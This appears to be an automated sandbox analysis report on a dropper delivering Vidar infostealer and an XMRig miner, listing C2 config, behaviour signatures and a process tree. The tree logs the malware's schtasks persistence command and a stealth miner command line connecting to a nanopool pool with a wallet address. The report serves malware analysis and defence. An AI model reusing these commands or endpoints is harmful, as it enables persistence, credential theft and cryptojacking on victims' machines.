Analysis

  • max time kernel
    148s
  • max time network
    131s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    09/10/2021, 07:59

General

  • Target
    SecuriteInfo.com.Trojan.MulDropNET.43.8032.30043.exe
  • Size 1.0MB
  • Sample211009-jvdymsfbfl
  • SHA256 a4135c43aee02115c239b00fad113112dd908aa3d3013337b009b423a17c441d
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • vidar

Version
  • 41.2

Botnet
  • 933

C2
  • https://mas.to/@serg4325

Attributes
  • profile_id

    933

Signatures

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Vidar Stealer 3 IoCs
  • XMRig Miner Payload 12 IoCs
  • Executes dropped EXE 12 IoCs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Loads dropped DLL 15 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 4 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies system certificate store 2 TTPs 8 IoCs
  • Suspicious behavior: EnumeratesProcesses 40 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.MulDropNET.43.8032.30043.exe
    "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.MulDropNET.43.8032.30043.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1740
    • C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
      "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1580
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1964
        • C:\Windows\system32\schtasks.exe
          schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
          4⤵
          • Creates scheduled task(s)
          PID:788
      • C:\Users\Admin\AppData\Roaming\services64.exe
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1396
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:524
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
            5⤵
            • Creates scheduled task(s)
            PID:1748
        • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
          4⤵
          • Executes dropped EXE
          PID:684
        • C:\Windows\explorer.exe
          C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1684
    • C:\Users\Admin\AppData\Local\Temp\inst001.exe
      "C:\Users\Admin\AppData\Local\Temp\inst001.exe"
      2⤵
      • Executes dropped EXE
      PID:524
    • C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
      "C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
      2⤵
      • Executes dropped EXE
      • Modifies system certificate store
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:684
      • C:\Users\Admin\AppData\Roaming\2172672.scr
        "C:\Users\Admin\AppData\Roaming\2172672.scr" /S
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:988
      • C:\Users\Admin\AppData\Roaming\7720942.scr
        "C:\Users\Admin\AppData\Roaming\7720942.scr" /S
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Adds Run key to start application
        • Suspicious use of WriteProcessMemory
        PID:1720
        • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
          "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
          4⤵
          • Executes dropped EXE
          PID:1320
      • C:\Users\Admin\AppData\Roaming\1648299.scr
        "C:\Users\Admin\AppData\Roaming\1648299.scr" /S
        3⤵
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Checks whether UAC is enabled
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1748
      • C:\Users\Admin\AppData\Roaming\8452700.scr
        "C:\Users\Admin\AppData\Roaming\8452700.scr" /S
        3⤵
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Checks whether UAC is enabled
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:340
      • C:\Users\Admin\AppData\Roaming\6838390.scr
        "C:\Users\Admin\AppData\Roaming\6838390.scr" /S
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1368
    • C:\Users\Admin\AppData\Local\Temp\Soft1ww01.exe
      "C:\Users\Admin\AppData\Local\Temp\Soft1ww01.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:816
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 816 -s 872
        3⤵
        • Loads dropped DLL
        • Program crash
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of AdjustPrivilegeToken
        PID:436

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/340-134-0x00000000054E0000-0x00000000054E1000-memory.dmp

        memory/340-130-0x0000000000190000-0x0000000000191000-memory.dmp

        memory/436-147-0x0000000000570000-0x00000000005D0000-memory.dmp

        memory/524-69-0x0000000000160000-0x0000000000172000-memory.dmp

        memory/524-68-0x0000000000080000-0x0000000000090000-memory.dmp

        memory/684-168-0x000000013FE00000-0x000000013FE01000-memory.dmp

        memory/684-80-0x000000001AB90000-0x000000001AB92000-memory.dmp

        memory/684-79-0x00000000002D0000-0x00000000002D1000-memory.dmp

        memory/684-76-0x0000000000350000-0x0000000000351000-memory.dmp

        memory/684-171-0x0000000002370000-0x0000000002372000-memory.dmp

        memory/816-82-0x0000000000310000-0x00000000003E6000-memory.dmp

        memory/816-83-0x0000000000400000-0x00000000004D9000-memory.dmp

        memory/816-74-0x00000000005D8000-0x0000000000655000-memory.dmp

        memory/988-112-0x0000000000420000-0x0000000000421000-memory.dmp

        memory/988-95-0x0000000000360000-0x0000000000361000-memory.dmp

        memory/988-97-0x0000000000460000-0x000000000049E000-memory.dmp

        memory/988-89-0x0000000000380000-0x0000000000381000-memory.dmp

        memory/988-98-0x00000000003C0000-0x00000000003C1000-memory.dmp

        memory/1320-107-0x0000000001380000-0x0000000001381000-memory.dmp

        memory/1320-127-0x0000000004A90000-0x0000000004A91000-memory.dmp

        memory/1368-125-0x00000000004D0000-0x00000000004D1000-memory.dmp

        memory/1368-131-0x0000000000750000-0x0000000000798000-memory.dmp

        memory/1368-133-0x00000000004F0000-0x00000000004F1000-memory.dmp

        memory/1368-123-0x00000000008D0000-0x00000000008D1000-memory.dmp

        memory/1368-135-0x0000000004C40000-0x0000000004C41000-memory.dmp

        memory/1396-159-0x000000013F660000-0x000000013F661000-memory.dmp

        memory/1396-170-0x000000001C900000-0x000000001C902000-memory.dmp

        memory/1580-151-0x0000000000790000-0x0000000000792000-memory.dmp

        memory/1580-75-0x000000013F9B0000-0x000000013F9B1000-memory.dmp

        memory/1580-152-0x0000000000650000-0x000000000065A000-memory.dmp

        memory/1684-189-0x0000000001FC0000-0x0000000001FE0000-memory.dmp

        memory/1684-178-0x0000000140000000-0x0000000140763000-memory.dmp

        memory/1684-184-0x0000000140000000-0x0000000140763000-memory.dmp

        memory/1684-183-0x0000000140000000-0x0000000140763000-memory.dmp

        memory/1684-182-0x0000000140000000-0x0000000140763000-memory.dmp

        memory/1684-187-0x00000000001E0000-0x0000000000200000-memory.dmp

        memory/1684-188-0x0000000140000000-0x0000000140763000-memory.dmp

        memory/1684-181-0x0000000140000000-0x0000000140763000-memory.dmp

        memory/1684-185-0x0000000140000000-0x0000000140763000-memory.dmp

        memory/1684-180-0x0000000140000000-0x0000000140763000-memory.dmp

        memory/1684-179-0x0000000140000000-0x0000000140763000-memory.dmp

        memory/1684-173-0x0000000140000000-0x0000000140763000-memory.dmp

        memory/1684-174-0x0000000140000000-0x0000000140763000-memory.dmp

        memory/1684-175-0x0000000140000000-0x0000000140763000-memory.dmp

        memory/1684-176-0x0000000140000000-0x0000000140763000-memory.dmp

        memory/1684-177-0x0000000140000000-0x0000000140763000-memory.dmp

        memory/1720-99-0x0000000000580000-0x0000000000581000-memory.dmp

        memory/1720-96-0x0000000000530000-0x000000000053C000-memory.dmp

        memory/1720-94-0x0000000000520000-0x0000000000521000-memory.dmp

        memory/1720-91-0x0000000000E80000-0x0000000000E81000-memory.dmp

        memory/1740-55-0x00000000765A1000-0x00000000765A3000-memory.dmp

        memory/1740-53-0x0000000001330000-0x0000000001331000-memory.dmp

        memory/1748-117-0x0000000000A70000-0x0000000000A71000-memory.dmp

        memory/1748-129-0x00000000031C0000-0x00000000031C1000-memory.dmp